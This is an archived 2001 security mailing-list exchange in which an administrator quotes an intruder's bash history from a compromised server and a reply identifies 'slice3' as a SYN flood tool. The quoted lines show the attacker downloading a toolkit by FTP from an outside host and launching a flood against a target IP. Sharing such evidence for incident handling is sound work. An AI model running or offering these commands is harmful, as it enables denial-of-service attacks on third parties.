RE: slice3 question

From: Royans Tharakan (RTharakanat_private)
Date: Thu Jul 19 2001 - 17:01:44 PDT

Next message: Russell Fulton: "Re: .ida Intrusion Attempt"

Previous message: Ryan Russell: "Re: HTTP connections"
Maybe in reply to: Dirk Brockhausen: "slice3 question"
Next in thread: Maher Odeh: "RE: slice3 question"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Slice is a SYN flooder. the IP you gave below is most probably dead by now.
http://www.google.com/search?hl=en&safe=off&q=slice+dos+tool+syn+flood

-----Original Message-----
From: Dirk Brockhausen [mailto:dirkat_private]
Sent: Thursday, July 19, 2001 4:03 PM
To: incidentsat_private
Subject: slice3 question

Hi,

someone cracked our server.

Here is an excerpt from /root/.bash_history:

cd /dev/ida/.sys
uptime
ftp 203.238.91.4
tar -zxvf d.tar.gz
cd datapool/bin
./slice3 0 211.91.135.70 1 65000&

Any ideas?

Thanks,

Dirk

----------------------------------------------------------------------------

This list is provided by the SecurityFocus ARIS analyzer service.
For more information on this free incident handling, management 
and tracking system please see:

http://aris.securityfocus.com

----------------------------------------------------------------------------

This list is provided by the SecurityFocus ARIS analyzer service.
For more information on this free incident handling, management 
and tracking system please see:

http://aris.securityfocus.com

Next message: Russell Fulton: "Re: .ida Intrusion Attempt"
Previous message: Ryan Russell: "Re: HTTP connections"
Maybe in reply to: Dirk Brockhausen: "slice3 question"
Next in thread: Maher Odeh: "RE: slice3 question"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

This archive was generated by hypermail 2b30 : Thu Jul 19 2001 - 20:12:55 PDT